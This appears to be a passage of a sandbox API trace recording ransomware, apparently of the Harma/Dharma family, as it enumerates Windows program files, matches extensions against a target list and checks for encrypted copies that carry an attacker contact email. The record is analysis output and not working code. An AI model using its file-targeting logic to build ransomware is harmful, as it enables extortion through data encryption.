lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.281] lstrlenW (lpString=".dbf") returned 4 [0064.281] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0064.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.281] lstrlenW (lpString=".1cd") returned 4 [0064.282] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0064.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.282] lstrlenW (lpString=".jpg") returned 4 [0064.282] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0064.282] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.282] lstrlenW (lpString="4to3Squareframe_SelectionSubpicture.png") returned 39 [0064.282] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0064.687] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3304) returned 1 [0064.687] CloseHandle (hObject=0x21c) returned 1 [0064.687] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0064.687] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.688] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.688] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.688] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.688] lstrlenW (lpString=".doc") returned 4 [0064.688] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.688] lstrlenW (lpString=".docx") returned 5 [0064.688] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0064.688] lstrlenW (lpString=".pdf") returned 4 [0064.688] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.688] lstrlenW (lpString=".xls") returned 4 [0064.688] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.688] lstrlenW (lpString=".xlsx") returned 5 [0064.688] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0064.688] lstrlenW (lpString=".ppt") returned 4 [0064.688] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.688] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.688] lstrlenW (lpString=".zip") returned 4 [0064.688] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.688] lstrlenW (lpString=".rar") returned 4 [0064.688] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.688] lstrlenW (lpString=".bz2") returned 4 [0064.688] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.688] lstrlenW (lpString=".7z") returned 3 [0064.688] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.688] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.689] lstrlenW (lpString=".dbf") returned 4 [0064.689] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.689] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.689] lstrlenW (lpString=".1cd") returned 4 [0064.689] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.689] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.689] lstrlenW (lpString=".jpg") returned 4 [0064.689] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.689] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.689] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.689] lstrlenW (lpString=".doc") returned 4 [0064.689] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.689] lstrlenW (lpString=".docx") returned 5 [0064.689] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0064.689] lstrlenW (lpString=".pdf") returned 4 [0064.689] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.689] lstrlenW (lpString=".xls") returned 4 [0064.689] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.689] lstrlenW (lpString=".xlsx") returned 5 [0064.689] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0064.689] lstrlenW (lpString=".ppt") returned 4 [0064.689] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.689] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.689] lstrlenW (lpString=".zip") returned 4 [0064.689] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.689] lstrlenW (lpString=".rar") returned 4 [0064.689] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.689] lstrlenW (lpString=".bz2") returned 4 [0064.689] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.689] lstrlenW (lpString=".7z") returned 3 [0064.689] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.689] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.690] lstrlenW (lpString=".dbf") returned 4 [0064.690] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.690] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.690] lstrlenW (lpString=".1cd") returned 4 [0064.690] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.690] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0064.690] lstrlenW (lpString=".jpg") returned 4 [0064.690] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.690] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.690] lstrlenW (lpString="content-foreground.png") returned 22 [0064.690] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.135] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=49904) returned 1 [0065.135] CloseHandle (hObject=0x218) returned 1 [0065.135] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png")) returned 0x20 [0065.135] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.135] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.136] lstrlenW (lpString=".doc") returned 4 [0065.136] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.136] lstrlenW (lpString=".docx") returned 5 [0065.136] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0065.136] lstrlenW (lpString=".pdf") returned 4 [0065.136] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.136] lstrlenW (lpString=".xls") returned 4 [0065.136] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.136] lstrlenW (lpString=".xlsx") returned 5 [0065.136] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0065.136] lstrlenW (lpString=".ppt") returned 4 [0065.136] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.136] lstrlenW (lpString=".zip") returned 4 [0065.136] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.136] lstrlenW (lpString=".rar") returned 4 [0065.136] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.136] lstrlenW (lpString=".bz2") returned 4 [0065.136] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.136] lstrlenW (lpString=".7z") returned 3 [0065.136] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.136] lstrlenW (lpString=".dbf") returned 4 [0065.136] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.136] lstrlenW (lpString=".1cd") returned 4 [0065.136] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.136] lstrlenW (lpString=".jpg") returned 4 [0065.137] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.137] lstrlenW (lpString=".doc") returned 4 [0065.137] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.137] lstrlenW (lpString=".docx") returned 5 [0065.137] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0065.137] lstrlenW (lpString=".pdf") returned 4 [0065.137] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.137] lstrlenW (lpString=".xls") returned 4 [0065.137] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.137] lstrlenW (lpString=".xlsx") returned 5 [0065.137] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0065.137] lstrlenW (lpString=".ppt") returned 4 [0065.137] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.137] lstrlenW (lpString=".zip") returned 4 [0065.137] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.137] lstrlenW (lpString=".rar") returned 4 [0065.137] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.137] lstrlenW (lpString=".bz2") returned 4 [0065.137] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.137] lstrlenW (lpString=".7z") returned 3 [0065.137] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.137] lstrlenW (lpString=".dbf") returned 4 [0065.137] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.137] lstrlenW (lpString=".1cd") returned 4 [0065.137] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.137] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0065.137] lstrlenW (lpString=".jpg") returned 4 [0065.138] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.138] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0065.138] lstrlenW (lpString="flower_precomp_matte.wmv") returned 24 [0065.138] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0065.358] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=77208) returned 1 [0065.358] CloseHandle (hObject=0x15c) returned 1 [0065.358] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv")) returned 0x20 [0065.358] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.358] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.358] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.358] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.358] lstrlenW (lpString=".doc") returned 4 [0065.358] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0065.358] lstrlenW (lpString=".docx") returned 5 [0065.358] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1 [0065.358] lstrlenW (lpString=".pdf") returned 4 [0065.359] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0065.359] lstrlenW (lpString=".xls") returned 4 [0065.359] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0065.359] lstrlenW (lpString=".xlsx") returned 5 [0065.359] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1 [0065.359] lstrlenW (lpString=".ppt") returned 4 [0065.359] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0065.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.359] lstrlenW (lpString=".zip") returned 4 [0065.359] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0065.359] lstrlenW (lpString=".rar") returned 4 [0065.359] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0065.359] lstrlenW (lpString=".bz2") returned 4 [0065.359] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0065.359] lstrlenW (lpString=".7z") returned 3 [0065.359] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0065.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.359] lstrlenW (lpString=".dbf") returned 4 [0065.359] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0065.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.359] lstrlenW (lpString=".1cd") returned 4 [0065.359] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0065.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.359] lstrlenW (lpString=".jpg") returned 4 [0065.359] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0065.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.359] lstrlenW (lpString=".doc") returned 4 [0065.359] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0065.359] lstrlenW (lpString=".docx") returned 5 [0065.359] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1 [0065.359] lstrlenW (lpString=".pdf") returned 4 [0065.360] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0065.360] lstrlenW (lpString=".xls") returned 4 [0065.360] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0065.360] lstrlenW (lpString=".xlsx") returned 5 [0065.360] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1 [0065.360] lstrlenW (lpString=".ppt") returned 4 [0065.360] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0065.360] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.360] lstrlenW (lpString=".zip") returned 4 [0065.360] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0065.360] lstrlenW (lpString=".rar") returned 4 [0065.360] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0065.360] lstrlenW (lpString=".bz2") returned 4 [0065.360] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0065.360] lstrlenW (lpString=".7z") returned 3 [0065.360] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0065.360] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.360] lstrlenW (lpString=".dbf") returned 4 [0065.360] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0065.360] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.360] lstrlenW (lpString=".1cd") returned 4 [0065.360] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0065.360] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0065.360] lstrlenW (lpString=".jpg") returned 4 [0065.360] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0065.360] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.360] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0065.360] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.439] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5025) returned 1 [0065.439] CloseHandle (hObject=0x208) returned 1 [0065.439] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0065.439] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.440] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.440] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.440] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.440] lstrlenW (lpString=".doc") returned 4 [0065.440] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.440] lstrlenW (lpString=".docx") returned 5 [0065.440] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0065.440] lstrlenW (lpString=".pdf") returned 4 [0065.440] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.440] lstrlenW (lpString=".xls") returned 4 [0065.440] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.440] lstrlenW (lpString=".xlsx") returned 5 [0065.440] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0065.440] lstrlenW (lpString=".ppt") returned 4 [0065.440] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.440] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.440] lstrlenW (lpString=".zip") returned 4 [0065.440] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.440] lstrlenW (lpString=".rar") returned 4 [0065.440] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.440] lstrlenW (lpString=".bz2") returned 4 [0065.440] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.440] lstrlenW (lpString=".7z") returned 3 [0065.440] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.440] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.440] lstrlenW (lpString=".dbf") returned 4 [0065.440] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.440] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.440] lstrlenW (lpString=".1cd") returned 4 [0065.441] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.441] lstrlenW (lpString=".jpg") returned 4 [0065.441] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.441] lstrlenW (lpString=".doc") returned 4 [0065.441] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0065.441] lstrlenW (lpString=".docx") returned 5 [0065.441] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0065.441] lstrlenW (lpString=".pdf") returned 4 [0065.441] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0065.441] lstrlenW (lpString=".xls") returned 4 [0065.441] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0065.441] lstrlenW (lpString=".xlsx") returned 5 [0065.441] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0065.441] lstrlenW (lpString=".ppt") returned 4 [0065.441] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0065.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.441] lstrlenW (lpString=".zip") returned 4 [0065.441] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0065.441] lstrlenW (lpString=".rar") returned 4 [0065.441] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0065.441] lstrlenW (lpString=".bz2") returned 4 [0065.441] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.441] lstrlenW (lpString=".7z") returned 3 [0065.441] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.441] lstrlenW (lpString=".dbf") returned 4 [0065.441] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.442] lstrlenW (lpString=".1cd") returned 4 [0065.442] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0065.442] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0065.442] lstrlenW (lpString=".jpg") returned 4 [0065.442] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0065.442] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0065.442] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0065.442] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.442] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3118) returned 1 [0065.442] CloseHandle (hObject=0x208) returned 1 [0065.442] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png")) returned 0x20 [0065.442] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD 